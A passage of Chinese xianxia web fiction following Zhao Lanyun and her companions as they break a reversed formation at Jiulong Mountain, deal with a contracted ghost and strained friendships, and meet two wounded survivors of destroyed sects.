好没有逻辑的话语,徐怀初呆呆地,耳尖通红看着她,他感觉自己说不出来什么话,所有的思绪都围绕着面前人,一千分一万分地转。
“揽云!”他最后铿锵地喊出来一声,他后悔方才生出的犹豫懦弱,一见生情便大胆争取的亲昵称呼,若是因一时心绪的后退便要收回…
徐怀初只想赶忙趁她没有注意到,来赶快将前一句遮掩过去。
练剑历练要赶忙提上日程了,他心脏碰碰乱跳想道。
“揽云,我们一开始不是朋友吗?”
“不是,一开始你是另外宗门的少宗主,师兄的朋友,一个心肠很好的好心人。”
“那我呢?无虞。我是你的朋友吗?”
朝揽云将目光转向搂住她腰的络净。
“你是我未来的朋友。”
“无虞真狠心呢,”络净笑着,突然说,“你以后可以不叫无虞吗?”
朝揽云有些疑惑地看着她,直到络净自嘲地笑了笑,“算了,无虞就很好。”
徐怀初见朝揽云没有再理自己,便认真地舒缓情绪,去解空中的阵法了。
“这阵法沟通天地,借九龙之势。”
“南生两悬,聚北劣气。方寸勾勒银纂,突兀之处以木气链接。生于树木广袤的九龙山脉,却以火铜之樽生首。”
“揽云,”徐怀初颇为严肃地转过头来,“阵法被逆转了,我们遇上大麻烦了。”
朝揽云和络净同时抬头看去,广阔天空的阵法似乎触手可及。
徐怀初指着阵法。
“南方阵本应以水气为先,却居于北方。”
“如一座倒悬的钟。”朝揽云若有所思,想起了在太初宗屋子里看到的那倒悬钟表。
“既然出了事情,鹿渊阁还没来,那我是否可以假设他们已经没有办法了。”
“废子。”络净接过朝揽云的话宣布道,她随意向徐怀初叫嚷道,“徐…徐怀初,你可以解吗?”
“未免对我期待过甚了吧。络姑娘?”徐怀初眯着眼看过去,眼下红痣显眼至极。他明显不喜欢这不太礼貌的举动。
络净被噎了一下,转头去找朝揽云主持公道,就看见她在向链接天幕阵法与脚下实境的霞光走去。
“小鬼?你有名字吗?”
她浅笑着对手中拎着的小鬼说,“你是由郁念提炼而成的吧。要不要再去吸收些其他郁念?我不太喜欢这样。”她看着小鬼和她小时极像,但如今又多了徐怀初那双红痣的小鬼。
“吸收些他人的郁念,把我的脸庞抹去。”
“我拒绝。”小鬼不再尖叫了,“你已经离不开我了。”
“离不开?”朝揽云语气中带些嘲弄与好笑,“你动什么手脚了?我竟然没发现。”
“最浅显的手脚。得益于你习惯性的刻意忍痛。”
小鬼看起来很开心,“很高兴你成为我的另一半。”
“另一半?”朝揽云忍着笑出,重复了一遍这个诡异的名称,“所以,就是我侧脸的刺痛?”
她摸上自己的侧脸。
“这是契约。”
“你不会伤到我的,九龙山曾有哺元道君居住数月,布下阵法呈九龙之势,逍逍君主亦曾以九龙朝珠阵法救下一城性命。在这里生出的生灵不敢害人的。”
小鬼眯着眼看了她片刻,亲昵地凑上了她脖颈。
朝揽云感到自己侧颊的刺痛逐渐降了下去。
“九龙有其所崇之神,”她凑到她耳边喃喃说道,“我要造神,寻共享之神位。九龙珠不该只被崇胜争抢。朝揽云,你说奖品可以成为胜者吗?”
朝揽云站在万丈霞光之上,眼睫翕动,她听着小鬼的话轻轻笑了起来。
“很有趣的想法啊。”
小鬼靠在她脖颈,挟制着她,感受着自己阴凉呼吸在她脖颈引起的颤动,感受着她胸口心脏的跳动,说话时空气的流转。
“什么契约?说吧。”
说话间,朝揽云就把小鬼从自己脖颈上拎了起来。
“不要趴在脖颈上,对
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我很危险的。”
“不告诉你。”小鬼笑了一声,而后开始如一开始般尖叫。
朝揽云顺着她望去的方向回过头去,看到徐怀初与络净追了上来。
“你要破除这个封印吗?放出九龙山压抑数年的灵气?这是良药却也是一道灭世之刃哦。”
“什么?”朝揽云没听清小鬼说的话。
“没什么。”小鬼爬下去,缠在她的手臂上,“一切都是缘,注定的命缘。”
“揽云!你怎么上来了?”
“无虞,很危险,你不要再一个人走开了!”
朝揽云静静地望着两个人,直到他们停下脚步,收敛起担心欣喜等各异的表情。
“其实,我一直想问,为什么突然很多人都缠上我,我将来是毁灭世界了吗?这么受重视。”
徐怀初不知该如何回答。
“怎么可能?”络净声音有些颤抖地开口道,“你永远都不可能毁灭世界。”
“永远嘛?真是个笃定的词语。”
“既然像个倒悬的钟,”她背过身去看着天上阵法,“那是不是还缺了什么?比如指针。”
她翘唇笑道:“说来有趣,我之前在幻境中看到了一个钟表。而且是从界海带回来的那种时兴样式,以时分秒三指针示钟的。”
“而我们恰好有三个人。”徐怀初看着她被阵法光芒闪烁得亮眼的背影,默默开口。
“现在就是怎么操纵了。”朝揽云无奈盘腿,席地而坐。
“我不知道,你们谁想想?”
朝揽云明显不愿再出力了,她一脸用脑过度,眼神有些放空,等着面前两人研究出什么来。
玉牌在络净手中哗哗的,快速飞转移动着,晟字符,扬字符不断从她口中吐出。
最后咔嚓一声,络净学着朝揽云席地而坐,左手一扬接过了被抛起又落下的玉牌。
“推算至此,万般主胜厌,待一时机,箴言曰洪洞,解之言曰,天上出现漩涡之时。”
朝揽云怔愣片刻,看着络净捧起她的一只手,将一枚玉牌放到她的手心。
“阵法铭文在逐渐改变。”徐怀初观察完也跟着坐下,他看起来分外拘束,注意着外在形象,不肯坐得过于豪放。
“那就等吧。”朝揽云有些疑惑地看着两人望来的目光,只得做决定定锤宣布。
——
“太长老!”鹿渊阁外有人赶来,“出状况了!道观那边,”他眼中慌忙,“道观中哺元道君和青藤道君的神像变了。”
“原本带着笑意的神像突然落唇了!”
“神君敛笑。”长鹿子握紧手旁的椅木,目光炯炯有神地看向前敛。
“神君异象可作何解读?”
前敛似笑非笑。
“是毒药,亦是良药。应征之处无所。”
“无所何为?”
九龙山脉的九龙道观内,两石像落下唇边笑意,自带一副天生的悲悯面孔看人。
世人崇神,又可知神也是同样境界的人?
不知,有人笑答。
25. 第 25 章
天地剧裂,在九龙山赛场比赛着的众人无不被一瞬间翻涌的灵气震慑,皆抬头看向天空。
“那个方向,”宗主项九洲抬起头,眯着眼看向那天光微劣之处,他神色不变,瞳孔震荡,“九龙山以万年有余未出现过异象了。那个方向?鹿渊阁!”
他想起什么似的赶忙赶去。
今天的蝮蛇赛初选,就在鹿渊阁开始。
“项宗主,”不知何时出现与他并行的师祖不方长安开口道,“懒云的预言还没有解开不是吗?那年阵法异象的意味,你说会是灵验了吗?”
项九洲赶着路,面色晦暗,他想起了朝揽云从无知无觉的婴儿长到如今模样的一点点改变。
“灵不灵验不重要,重要的是,不方长安,无论预言的验证是什么,我都不会像之前一样做了。”
“是吗?”不方长安停下了脚步,看向项九洲匆匆远去,对着一直看着项九洲动作的青月长老回头笑道,“你是怎么想的?”
青月冷淡瞥了他一眼。
“她是我太初宗的弟子。”
“哼,”不方长安单挑了挑眉,忍不住就笑了起来,“知道知道,戒律长老最是护短,”他叹了一声,“可也最是严厉冷漠,不是吗?”
青月只是回到宗门弟子处,她要代替宗主守着那些弟子。
本性冷淡喜静,她有些陌然地想,若是想要我给予什么温柔,怕是痴心妄想。不方长安这些年还是混不吝,迟早跌个大跟头。
——
“哇哦,天塌了呢。”朝揽云犯着困就被大陷的天光惊醒了。
“陨石之征,确如云层漩涡。”徐怀初抬起手扶了她一下,遮住了直照过来的光。
“阵法成了。”络净抛起手中所有玉牌于空中,而后回头接住所有,走向朝揽云,肆意笑道,“无虞,不,揽云,我知道,你一定能看出这个阵法该怎么破吧。”
朝揽云也站直了,笑着甩了甩脑后被风吹的马尾,抱起臂恭然是一副从容又嚣张的表情。
“知道又如何?这是三个人的试鉴,你们必须让我认可一下,不然我会心理不平衡的。”
“你这幅模样啊,”旁边人轻叹道,“活脱脱就是一副话本中的反派模样啊。”
“怎么?”朝揽云挑起眉看向他,“徐少宗主有意见?”
“不敢。还有,叫我怀初。”徐怀初笑言,而后双手幻化银剑,看着天上阵法掐符作咒。
他的红痣熠熠生辉。
徐怀初察觉到朝揽云颇有兴趣地看着的眸下红痣,无奈一笑。
“笙方,八月相之位,斩击之。”
络净冷静开口报出方位。
徐怀初双目炯炯,右手双指滑过剑锋,附灵一斩。天边漩涡处顿时生出一所刃间。
朝揽云一笑,得意又颇为意气风发地扫了眼两人,示意小鬼抓好自己就蹬空而上,在天上刃间愈合之前,于空中以灵力化砖支撑自身再次越上。
符咒团团扔出,青丝随风流转,她转念之间轻唤“乌傩”,黑剑幻化,与再次袭来的剑气,以及一直在她手心的玉牌一起,斩向刃间。
巨大的冲击力将她抛出,阵法破灭之处犹如姹紫嫣红的烟花。
朝揽云努力维持住身体平衡,在摔倒地上之前被络净接住了。眼眸所及之处,徐怀初持剑一力抵前,以剑作盾,挡住了天上震荡的爆炸的冲击。
“怎么样?”他们咬着牙笑了起来,“比你不差吧?”
朝揽云忍着手臂处似乎被阵法割伤的剧痛,张扬笑了起来。
“差不差竟然是我说了算的吗?”
“原来两位英才对自己这么没有信心啊!”她笑着,“那可就折堪小生了。”
络净暗笑了一声贫嘴,便与她一同上前同徐怀初一起抵住了那爆炸余波。
“闹出失误的大人们来了。”徐怀初在减小压力后,抬起眸,轻扬声音,眯起眼从那爆炸的余波处看到了米粒般小的鹿渊阁长老们。
“说不定失误是我们啊!”络净笑得很幸灾乐祸。
直到余波散去,发呆般地站在原地,看着鹿渊阁众人逐渐接近,朝揽云才低低地轻声笑了起来。
“真有意思。”
——
“真漂亮。”
“什么?”面前的药修医女包扎着她受伤的臂膀有些诧异。
“那把琴,”朝揽云很温润地笑着,“那把保养得当的琴,你很喜欢吧。”
她看向屋子里那把被束之高阁的古琴,即使仅仅只能窥见少许,也能看出拥有者的用心,保养极为得当。
医女表情清寂,她看着那琴,似乎失落又满足,静静地包扎着朝揽云的手臂。
“不要碰水,不要运动,你都伤到骨头了,伤到之后又进行了二次损伤。”
“好的,谢谢。”朝揽云乖巧地点头笑了笑,而后顺着她的示意转身出门。
“对了,是因为药修的你也是成绩斐然吗?”
医女浑身激灵地抬起头去,却只见黑色马尾的发梢伴着红色发带,咔嚓一声后,被关在了门外。
“所以,即使一直保养着琴,也不再弹奏?”
哈?她脸颊冒上了些寒意,脑子无法不回思循环起包扎时,那人过于透彻的目光。
“既然伤了,怎么又来跟我们一起抵挡。”徐怀初垂着眸,担忧地问道,他拦着络净扑到她身上的欲望,“络姑娘,揽云还伤着,不要扑过去。”
络净便张牙舞爪地两手玉牌向徐怀初冲去。
朝揽云眼含笑意地看着他们,眼角探过了一丝桃花影。
“青怜。”她一时之间不知该如何过去。
“懒云,”青怜貌似没有任何生气地走了过来,“你的头发乱了呢。”她温声细语道。
她身上传来了极大的压迫感,让朝揽云有些心虚。
眼波在徐怀初、络净两人中扫过,看起来…模糊之间颇有几分,宽容大气?
“交了很多朋友呢。”
“没有。”朝揽云下意识颇怂地低下头否认道。这让另外两个人也不约而同看向了她。
“我们回屋,我给你扎扎头发吧。头发是不能一直这样乱的。”
“好。”朝揽云嗫嚅回答,跟着她走向她的院子。
“这个女人还是那么可怕啊。”一旁青怜开口时感到危机感,在旁边不敢说话的络净终于后怕地开了口。
听到络净此言,徐怀初此时才察觉到什么,不久前那一次莫名其妙的梳头簪发,还有青怜那莫名的威严。
他恍然大悟,不亏是戒律长老的亲传弟子。即使是对师姐也能使管束之权。他无视了络净莫名其妙略带怜悯看着他的眼神。
——
“懒云,”纤细的手指穿过黑发,喃喃的温语柔和又似蜜糖,“你看,给你编个小辫子怎么样。你这密密麻麻的头发一定很适合编一成串的辫子吧。”
朝揽云的经验在提示她危机,手指处附的小鬼也躁动不安,在连连催她离开。惊讶的是,小鬼竟然存活了下来。
“懒云走神了呢?在想什么?”她耳边的发丝被一只手抿回
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脑后。
朝揽云正想随便乱编什么,就听见青怜长叹一声。
“懒云总是骗我呢。”
声音幽幽的,带着些笑意。
“青怜,”朝揽云犹豫问道,“你生气了吗?”
“没有。”青怜哼笑一声,好整以暇看着她。
但朝揽云放心了,她庆幸说了一句,“那就好。”
青怜险些手一抖,紧紧拽住她手中的发丝了。
“懒云若是这般想的,那也可以。”
“所以你生气了?是因为我没有去看你比赛吗?还是因为我去找你那天睡着了,没有发现你离开,也没有等你?”
“你心中一直记挂着这件事吗?”
青怜一面宽慰着自己,一面问道。
“应该没有。”朝揽云犹豫答道。
手下生花,青怜结束了手下的编发,默默看着朝揽云散下的些许小辫。
“懒云,如果有一天,我走了怎么办?”
青怜在用很轻松很轻松的语气说着试探离别的话。
朝揽云一个激灵,为这离别的话语。她觉得很难,判断一个人的话是真情还是玩笑,其中蕴含着什么感情。
判断她说的是真的吗?
“青怜走的话会开心吗?”
“如果开心呢?”
“那我会祝福青怜的。”
朝揽云的指尖有些抖,她灿烂笑着回答。
果然是因为我做错什么了吗?为什么不告诉我让我改?她的手紧紧攥住,掩饰住颤抖的指尖。
如果可以回旅舍……天骄城北会不会给我答案。
她吐了口气,笑着道:“那么,青怜什么时候走啊?”
青怜松开了手,深深看着她,什么话都没说,只是寡淡地应了一声。
“明天你参加完蝮蛇赛,和我去天骄城。”
天骄城,会有很多师姐师妹一起去吧。朝揽云抵触地想。
“我记得上一次九龙朝巅会也是师姐随队的吧。有什么好玩的店铺吗?听说不远处的天骄城奇珍很多啊。”
这是不公平的,她想,既然我没做到只有她一个相熟之人,又凭何去在意她的友谊呢?况且作为后来者。
“好啊!”她笑着道,“我们去哪里玩?听说你来过这里很多次?”
“听谁说的?师青柏?使君其?莫易?还是徐怀初?”青怜一脸笑意道,“你认识的人好多。”
她笑得越来越灿烂了,满目繁花也不可描述。
朝揽云没有说话,她心不在焉地想,路上风说的话,这算偷听吗?毕竟怜儿似乎不希望我知道。
她神色愣了愣。
那太好了,她那么多朋友,我迟早要回旅舍或者去北境以北的。
“困吗?”青怜看她没有反应,又自顾自地说了起来,“看你的样子昨晚又没睡,看着床顶熬了一夜吧。睡一会吧。在我这里可以睡得安心,对吗?”
清透的风吹进来,将青怜身上的气息都吹到朝揽云附近。她温和的带着诱导性的话语结束了。
我有这么困吗?朝揽云的头一点一点着,小鬼紧紧扒着她的手指。
“让她睡觉吧。”在朝揽云沉入梦乡后,青怜拎起小鬼,打量着冷淡道。
“真是讨厌,”她轻哼一声,“想送她东西,竟然会想别人。”
小鬼吱吱呀地想要扒上她的指尖。
青怜把手指收回了。
“哼,不类其主。”
朝揽云倚在椅子上,再次看不见她离去的身影。
26. 第26章 春山影影篝火绕
篝火很热闹,朝揽云跟着青怜来到这里后,青怜便被青月长老带走了,她在热闹繁华中文韧谈笑。
“这里真热闹,”她轻笑一声,低下头歪头去看那紧紧扒着她的小鬼,“你叫什么名字?”
“没有名字。”
“没有名字啊。”朝揽云轻声感叹道,“自己起个名字吧,不然总是叫你小鬼挺麻烦的。”
“不起。”
“不起啊?”朝揽云的眸光落在远方,“真麻烦。”
“比不上你,自私自利,完全不顾他人感受。”
朝揽云愣了一下,无奈笑笑。
“或许吧。”
“你去哪?”
朝揽云没有停下脚步,她走向篝火晚会旁的一处寂静树林。
“找地方避一避,这里和我不太符合。”
“蠢材。”
“哦。”
小鬼沉默了,她如今只有拇指大的虚幻身体浮浮沉沉。
朝揽云看着寂静的林间跳上了枝桠。
“来吧。”她伸出手,对着篝火通明方向的小鬼。
“对不起。”小鬼半晌趴在她肩上说道。
朝揽云不太明白地笑了笑,迫于这里只有一处安静,待在了这不远处有着轻微呼吸声的地方,她看着那繁闹的人群寂寥地靠在树干上,眼睫轻垂。
不远处的轻微呼吸声顿了一下,便保持了无声无息。
——
“前敛大师的弟子啊,”青怜微笑着跟着青月走到前敛与络净身前,在青月长老与前敛客套时开口道,“我记得你之前一直跟着大师隐居吧,怎么就突然来参加蝮蛇赛了呢?”
络净手中玉牌纷飞,很感兴趣地看着她貌似客气,却极为不待见自己,她华丽花坠繁斓服饰无一不在这里惹人注目,眼尾黄霞。
但即使如此也未将青怜气势败半分。
青月颇为赞赏地看了青怜一眼。
“与你想的理由相同,”络净本就是个以牙还牙的人,她挑衅地笑了笑,而后补充道,“不过我也不知道你想的是什么呢。”
“自然。”青怜看着她手中翻飞的玉牌,神色微敛,“即使是被年少时在界海也颇有声名的前敛大师教导,”她笑了笑,转移话题的夸奖显得极为讽刺,“络姑娘自然是极为厉害的。”
络净听此眯起眼,凑近了她,仔细看着她的瞳孔。
“想起来了。”她轻笑一声,“那个人原来是你啊,真没想到,你现在穿得这么素。”
“南风。”前敛在身旁随时注意她的动向,把住她的领子,将她提了起来,拉离了青怜附近。
“这位姑娘,”青怜警惕,络净笑得浓艳,“我给你算一卦吧,我倒想看看你为何是这般模样。”
——
清淡的呼吸声没有开口,伴着朝揽云如同隔着一层竹膜或者钢膜一般看向篝火旁。
“要聊聊吗?”他突然出声道,没有显出身影,朝揽云也没有回头。
“我们的心情似乎都不好,不是吗?就当成对着木头说话。”
朝揽云没有回答。
那个人便没有再说话。
“徐怀初吗?”判断完声线后,朝揽云吐了口气,躺在了树干上,看着暗夜月光透过树叶投下的些许碎星,“我知道是你,你的灵气很明显。”
徐怀初从另一棵树上无奈跳到和她相同的高度。
“真厉害啊,猜对了。没有见过比你更敏锐的人了。”
朝揽云阖了阖眸,“我们聊什么?”
徐怀初回思一般,怔了片刻,“你还记得小时候的事情吗?你八岁时来过九龙山,和我相识。”
令人惊讶的错愕,朝揽云立即睁开了眼。
“果然忘了啊,我一直想问问你也记得我吗,你还是对我有些印象的吧,不然为什么愿意和我一起去天骄城北呢?”
朝揽云本能感觉他说的话有哪里不对,却又找不出来。
“去天骄城北不是因为我的事情吗?怎么成了我愿意和你去?”
徐怀初映着这月光,和不远处篝火的繁杂笑眸弯弯。
“九龙山后有个道观,我小时候带你偷偷去过,要和我再去一次吗?”
“供着哺元道君和青藤道君的九龙道观?”
徐怀初没有否认。
“好。”朝揽云没有犹豫就答应了。
“络净搬到了你旁边的房间。”朝揽云颇为头疼地听到了这句话。
“揽云,我不喜欢这样提问,我怕会给你带来压迫感,但是,可以告诉我吗?你来这次九龙朝巅会是为了昆仑重行的机会吗?透过世界的隙壁前往异界。”
徐怀初眼神格外诚挚,眼中倒映着黑夜的星星,即使这里很黑,只有片刻月光,也能看出他在努力降低自己身上的威胁性,那满身剑气都被散去。
“你觉得呢?”朝揽云起身跳到他身边,打量着他的神色,平淡发问。
徐怀初一时措手不及,努力整理着自己的思绪。
“你知道的比我多很多吧,你觉得自己的信息都可以造成什么不好的后果呢?”
“我本眼下无红痣,”徐怀初抬起头看着半蹲在自己面前的朝揽云,目光沉沉,“揽云对我眼下这两点红痣很是喜爱吗?”
“倒说不上,只是可以让我很快认出你,而且颜色鲜亮。”朝揽云否认了,她只是喜欢鲜明的东西,可以让她看见记住,这包括青怜的发簪,络净的华服。
徐怀初笑了笑,看着朝揽云满目柔光,“八岁那年我们待在九龙道观,似乎是在举行什么阵法。阵法完毕,就有很多人来试图劫走我们,虽然未被劫走,但从此我只能一个人待在后山里,只有师父会来教导我剑法和修行。”
“一年前,我才从后山出来,开始接触宗门事物。”
朝揽云点了点头,没有徐怀初想象中的惊讶。
作为交换,她也开始叙述自己的过去。
“我被不方师祖带到外面游历,师祖常常在一段历练开始时把我一个人扔下,我不知道为什么,不要问我。然后我就一个人走在东洲。后来,我结识了很多以友人之名的家人。师祖也会时不时来给我发任务了。”
无数踌躇,朝揽云并不怎么愿意说接下来的事情,
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即使她如今看此不过如同隔雾看花,纸上言情。
“然后她们不久前失踪了,旅舍被烧没了,我就回宗门了。”
她的表情极为淡定,与她无关一般绷紧着脸,指尖却在颤抖。
徐怀初与朝揽云相同,都不会安慰他人,所以此刻他只是沉默地看着朝揽云,眼中神色汹涌如乱涛,却无法抒发。
“徐怀初,无论是人还是妖都会异化为怪物,你觉得你有一天会变为怪物吗?”
“那一天请杀死我。”徐怀初回答,他看着朝揽云没有看向他的瞳孔。
朝揽云笑了起来。
沉默片刻,她开口道。
“感觉你好不会说话,没关系,我会教你的!既然上一年才从后山出来,那你有朋友吗?”
“你可以做我朋友吗?”
徐怀初盯着在暗夜下高兴说着话,眼神却带着些迷惑的朝揽云说道,“成为我的第一个朋友。”
朝揽云皱了皱眉,心底计算着成为朋友的边界线是什么,要如何区分朋友和认识的人。她回忆了一下,惊讶地发现以前称之为友人的家人相处,无法适用于面前人。她笑了笑,心中带了些烦躁。
徐怀初没有催促,但他心底的确难过。
朝揽云不愿意示弱,她点了点头。
“可以,你是我的第很多个朋友。”
徐怀初强撑着嘴角弯起,自己也弄不懂自己的情绪是什么。
朝揽云看着徐怀初苦恼地想,朋友是个要得到对面人应许才能确定的身份,如果如此认真地交朋友,而不是泛泛之交,那要如何表明自己的重视?
她听到趴在她颈后的小鬼叽叽喳喳起来了,她心念一动。
“不要,你又要把我送给他?我不要!”小鬼立刻嚷了起来。
“她还没有消散吗?”徐怀初侧过头看向小鬼问道,“你的脖颈后?”
“没有,不过很多人似乎都看不见她,你能看到?”
徐怀初收回目光,脑海里还在不断闪烁着她脖颈后那条将近致命的疤痕。
他心中蔓延升起了一种绝望的自弃感,都是在八岁开始遭遇不幸的人,自己未遭过这等危机,竟也枉自对后山的生活心生怨怼。
“你在看什么?”他看着向不远处篝火旁看去的朝揽云问道。
“你看啊。”朝揽云笑着道,“看那个鹅黄衣裳的小姑娘,她在此之前都不能看见外界,你看她们玩得多开心。”
两个小孩子,一个鹅黄衣衫,一个藕粉裙摆,她们笑闹着,载歌载舞。
“是你认识的人吗?”
“是啊,我希望她好,也希望你好。”朝揽云声如清风就抚开了他内心紧压的负罪与歉疚感,“不如说,没有人希望其他人不好吧。”
一场篝火,满天繁星伴弯月,林若河流绕篝火织黑夜的影踪。
徐怀初的眼睛有些酸涩,他看着朝揽云回过头来了,看向他。
“我刚刚骗你的,我有很多朋友、也有很多家人,但是你是我的第一个同辈朋友,在这方面上我们是公平的,你可以放心做我的朋友,我不会无视你的。”
27. 天梯古道篝火长
“我是你的朋友。”他笑着说。
是“我是你的朋友”,而不是“你是我的朋友”,这给了朝揽云极大的安心感。
“我该怎样和你做朋友呢?”她说。
她的眼睛眨了眨,就这么轻易地为这句话触动了,他的这句话让她有一种,这只是属于她的朋友的感觉。
重要的是“只是”还是“属于”呢?
徐怀初笑得让她喜欢。
“那就重视我吧,和我重视你一样重视我。怎么样?这是个不错的交换吧!”
是个很好的让人安心的交换条件,不会让人担心自己的感情空落落地没有去处来处。
朝揽云站起身来,将手放到他面前。
“成契?”
“成契!”
徐怀初带着笑意与她对了一拳。
既是成契,朝揽云很轻易地就问道:“你与鹿渊阁达成了什么关系?”
“揽云这般话在旁人面前少说,会被他人认为别有居心的。”朝揽云眨了眨眼,就看见他又一脸诚挚说道,“但我不同,我唯一的朋友就是揽云。”
朝揽云刚感觉有些古怪便被他的回答带过。
“揽云还记得你昨天出门时,我身边的老人吗?”
老人?朝揽云努力回忆中,仅仅两天,经历的事情却已可以无数称之,让她想起一丝过眼云烟,实在属实难为。
徐怀初看着她的模样低低笑了起来。
“记不住也没关系,等天我带你去认识一下,通过蝮蛇赛之后早晚都会认识的。”
“那老人叫长鹿子。”
朝揽云并没有在意那个名字,她很高兴地听着徐怀初说通过蝮蛇赛,而后高兴地说。
“我们一起通过蝮蛇赛。”
“还有我呢。”一道幽怨的声音传来,“你们又背着人说悄悄话了,未来的无数时间还不够你们说吗,也不知云宁何时才能到来。”
“南疆云宁?”朝揽云挑了挑眉,露出了志得意满的表情,她跳下树枝,颇有兴趣地看着络净。
“答题之前知道答案是个怎样的感觉。”
络净满脸鲜艳妆容亮眼,她怔怔看了她片刻,然后露出了秾艳一笑。
“我甚至为提前知道这令人不满的答案感到一丝满足。”
朝揽云若有所思地点了点头。
“要和我们一起回去吗?现在不是住在一颗树上吗?不过我要先去找一下青怜。”
络净扑哧一笑。
“青少主啊,我刚刚和她交流过,我带你去吧。”
“好。”
朝揽云跟着她走了几步,回过头,对着还坐在树上阴翳中的徐怀初招了招手,阳光明媚笑道:“怀初?不走吗?”
“来了。”徐怀初恍惚片刻,便立马跳下树枝,朝着她的方向走去,停留在她身侧了。
“青怜说,明天让我和她去天骄城。怀初要提前去吗?”
朝揽云已经开始大包大揽徐怀初的日程安排了,“或者后天早上再去。”
尽管很想跟着一起去,徐怀初还是拒绝了。
“明天比赛完,师父让我跟着他整理一下宗中弟子的比赛数据,以及剑道短板,没办法去,不过后天早我会准时在北门等你的。”
“不问问我吗?”青怜回过头来看向朝揽云哼笑道,“我知道你的程序,在我心中你已经是我的朋友了,所以收拾收拾心脏,快些适应我的存在,快些抱住我吧。”
络净这一番话倒是让朝揽云有些始料不及。
“抱住你,现在还是做不到的。”
“那就是朋友了?”
朝揽云努力转过思维,还是没有找到抱住和做朋友有什么联系,但是看着络净直勾勾盯着她的模样,还是不明不白点了点头。
络净有些得意笑了笑,看着不远处跟在青月长老身畔的青怜停下来脚步。
“好了,无虞,你去吧。我和这位许少主在这等着你。”
徐怀初也笑着点了点头,朝揽云不由松了口气。
“青月长老,青怜。”
她有些拘束地走过去,乖巧问好。
青月长老身材高挑,眼尾挑起的眉落下来就自生一股严厉气息,她清清凌凌的目光望下来就让朝揽云有些拘束。
“明日的比赛准备得怎么样了?”
朝揽云愣了一下,赶忙回答道:“我回去问问徐怀初比赛形式就开始准备。”
青月一蹙眉,朝揽云与青怜心中皆一提。
“项九洲和不方长安都没告诉你?萧驷呢?他竟然也如此不靠谱了!”
朝揽云一时之间没有领会她的意思。
青月摇了摇头,快速交代道。
“明日你们有三人比赛,根据鹿渊阁商量得出,你们三个人一同比赛,奖励取消了鹿渊阁长老一职。”
“你先别说话,我知道很不公平。”
尽管根本没有接触过这些宗门博弈,不理解青月所说不公平,朝揽云还是停下了即将出口的应和,闭上了嘴。
“鹿渊阁的确欺人太甚,在我看来你完全可以通过蝮蛇赛,但就因昨日的阵法问题,否决了原本的计划,若非宗门主力都在北境外,也轮不到他们作主。”
“我今日,”朝揽云突兀想起徐怀初那句''阵法被逆转了'',“我今日看到的阵法,应当是上古流传吧。怎么可能如此轻易毁坏。”
破出阵法的喜悦淡去,朝揽云开始认真思考。
青月眼中掠过一丝欣慰,看向旁边沉思的青怜,示意她发表自己的意见。
“我认为,这次的意外不是偶然,”青怜一脸严肃地回答着青月的校查,“偏偏就于九龙朝巅会时期出了问题,行事作风如同年前莫迁师兄遇到的那个组织。”
“组织?”
青怜转过来头回答道:“一个游走在北境北与大陆的组织,没有人知道他们目的是什么,但是他们常游走于神迹所在之所,并肆意破坏。唯一知道的就是他们有一个妄自尊大的名称‘神烬所’。”
青月待她们交流完,回答了朝揽云的问题。
“不是轻易损坏,这一阵法久未动用,起码已经被破坏了八年。”
“八年?”朝揽云惊诧道,怎么又是八年。
青月叹了口气。
“我看掌门他们忙得狠,以后有什么消息,我会让青怜去告诉你的。好了,你们还有话要说吧,我先走了。”
朝揽云抿了抿唇,待
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青月离去后,抬起头看向青怜。
“青怜,”她看着青怜的发髻还在以那断桃花枝簪发,桃影重重,她低眸不敢再去看那落影温柔,“你真的会走吗?我想了很久,感觉你不是在开玩笑。”
“可以告诉我,你是在开玩笑吗?”
青怜看着她,红发带黑发丝都垂下去,荡荡漾漾地,一眼就能看出面前人的心情,她勾起了唇角,趁着她此刻不敢看向自己,心中扬起了一副颇为快意与报复的心向。
却又看着她耸拉的发,立马神色萋萋了。
“如果不是开玩笑呢?”她还是那般回答。
朝揽云想了很久,想得已经构想出来青怜未来的无数光景。
“我会去找你的,我现在无能为力,但是我会去找你的。”
青怜笑了起来,眼角温温润润的,有些湿意。
“开玩笑的啦。至少现在还不会去的,我知道懒云比赛完就会去历练,我会等到那个时候再去的。”
“反正,”朝揽云抬头看见她唇角笑张,“已经很久很久,不在乎再多一段时间。”
“而且,也不止你能来找我吧。”
朝揽云发呆般看着她离开。
“我,是不是,不了解青怜?”
她深吸一口气,转过身去笑着看向走过来的络净与徐怀初。
“明天,合作顺利?”
“合作顺利!”
络净扑过来与她对了一掌。
——
“等等!南疆云宁!”
“西漠诀要子!”
“请求参加九龙朝巅蝮蛇赛!求各位宗主为南疆云镜宗,西漠古拙宗灭宗惨案作主!”
高山之上,古道广袤,衣着齐整不着武具的朝揽云、络净、徐怀初三人回眸望去,高山之下,两具血迹遍体身躯俯首古道。
“南疆云宁,西漠诀要子。”
高台之上白发落下,他近两人,长声发问。
“你们有何证据?据我所知,西漠无宗前来赴会,而南疆,云镜宗早来赴会。”
身影一转,高台之上,落下与那血人之一,其无二般之样貌。
“你是云宁?那我是谁?”
众声沉寂,朝揽云却看着那两血人向前迈了一步。
“揽云。”
身边两人低声唤道。
朝揽云落眸微笑。
“扶我一下,我感受一下他们的灵力波动,距离太远,我怕我会晕过去。”
她调笑着,笑意潺潺,眸中却是管定了这件事的笃定。
两两相对分别沉默之下,徐怀初率先认输,扶住了她一只手臂,稳定住她的身子。
络净见此,便也只得投降。
落眸沉思,凝念离途,纵古道为尺。朝揽云挣眸,争辩之人,一身斑驳,沉念得辨。
“长老!”她扬声喊道,眸子熠熠作辉。
“他们还有一个诉求吧!比赛马上就要开始了!让他们一起参加蝮蛇赛吧!”
“无虞。”络净低声唤了长长一念。
徐怀初侧头看向她,见她鲜亮笑眸夺人心系。
“长老,”他们一同开口,对视一眼,“我们也是这样想的。先比赛吧。”
28. 他睁开眼,天光微陷
鼻尖凉凉的,云宁想探出手去摸一摸鼻尖,在山上奔下三人的搀扶中。
他感觉风在鼻尖上逗留,他想伸手触碰却指挥不动躯体,他想笑一笑却觉得冷,眼睛逐渐支撑不住看到光了。
“云宁。”决要子在搀扶中咳着,他低声模糊唤道,嘴角流下的鲜血沾染到了一身白袍之上,“别睡。我们活着还有价值,我们还可以…”
“可以……”
“他不会睡的,你也别睡。”朝揽云嗓音颇冷开口道。
她看出两人皆有些支撑不住,站在两人中间,调动着灵力往两人身上而去。也正因如此,两人的压力完全往络净、徐怀初两人身上压去。
“云宁,”络净撑着血肉模糊云宁的手臂,恨恨看着他身上的血迹将她鲜艳衣装染红染黑,“你别死了,等你醒,我少不得找你算账。”
